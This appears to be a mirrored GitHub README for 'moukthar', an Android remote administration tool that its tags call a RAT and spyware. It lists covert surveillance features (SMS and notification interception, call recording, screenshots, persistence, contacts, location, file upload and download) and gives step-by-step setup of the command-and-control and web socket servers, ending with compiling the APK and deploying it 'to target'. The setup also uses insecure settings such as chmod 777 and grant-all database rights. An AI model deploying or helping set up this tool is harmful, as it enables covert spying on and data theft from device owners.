Giter VIP home page Giter VIP logo

tomiwa-ot / moukthar Goto Github PK

View Code? Open in Web Editor NEW
291.0 9.0 82.0 7.05 MB

Android remote administration tool

License: GNU General Public License v3.0

Java 29.21% CSS 8.56% JavaScript 1.17% Batchfile 0.02% PHP 59.44% Hack 1.60%
android java remoteadministrationtool rat c2 android-rat spyware dynamic-routing php php-framework web-socket-server web-sockets c2-server command-and-control collaborate

moukthar's Introduction

Moukthar

Remote adminitration tool for android

Features

  • Notifications listener
  • SMS listener
  • Phone call recording
  • Image capturing and screenshots
  • Persistence
  • Read & write contacts
  • List installed applications
  • Download & upload files
  • Get device location

Installation

  • Clone repository
    git clone https://github.com/Tomiwa-Ot/moukthar.git
  • Install php, composer, mysql, php-mysql driver, apache2 and a2enmod
  • Move server files to /var/www/html/ and install dependencies
    mv moukthar/Server/* /var/www/html/
    cd /var/www/html/c2-server
    composer install
    cd /var/www/html/web-socket/
    composer install
    cd /var/www
    chown -R www-data:www-data .
    chmod -R 777 .
    The default credentials are username: android and password: the rastafarian in you
  • Create new sql user
    CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password';
    GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost';
    FLUSH PRIVILEGES;
  • Set database credentials in c2-server/.env and web-socket/.env
  • Execute database.sql
  • Start web socket server or deploy as service in linux
    php Server/web-socket/App.php
    # OR
    sudo mv Server/websocket.service /etc/systemd/system/
    sudo systemctl daemon-reload
    sudo systemctl enable websocket.service
    sudo systemctl start websocket.service
  • Modify /etc/apache2/sites-available/000-default.conf
    <VirtualHost *:80>
          ServerAdmin webmaster@localhost
          DocumentRoot /var/www/html/c2-server
          DirectoryIndex app.php
          Options -Indexes
    
          ErrorLog ${APACHE_LOG_DIR}/error.log
          CustomLog ${APACHE_LOG_DIR}/access.log combined
    </VirtualHost>
    
  • Modify /etc/apache2/apache2.conf
      Comment this section
      #<Directory />
      #       Options FollowSymLinks
      #       AllowOverride None
      #       Require all denied
      #</Directory>
    
     Add this
      <Directory /var/www/html/c2-server>
          Options -Indexes
          DirectoryIndex app.php
          AllowOverride All
          Require all granted
      </Directory>
  • Increase php file upload max size /etc/php/*.*/apache2/php.ini
    ; Increase size to permit large file uploads from client
    upload_max_filesize = 128M
    ; Set post_max_size to upload_max_filesize + 1
    post_max_size = 129M
  • Set web socket server address in <script> tag in c2-server/src/View/home.php and c2-server/src/View/features/files.php
    const ws = new WebSocket('ws://IP_ADDRESS:8080');
  • Restart apache using the command below
    sudo a2enmod rewrite && sudo service apache2 restart
  • Set C2 server and web socket server address in client functionality/Utils.java
    public static final String C2_SERVER = "http://localhost";
    
    public static final String WEB_SOCKET_SERVER = "ws://localhost:8080";
  • Compile APK using Android Studio and deploy to target

Screenshots

Dashboard

TODO

  • Auto scroll logs on dashboard
  • Screenshot

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.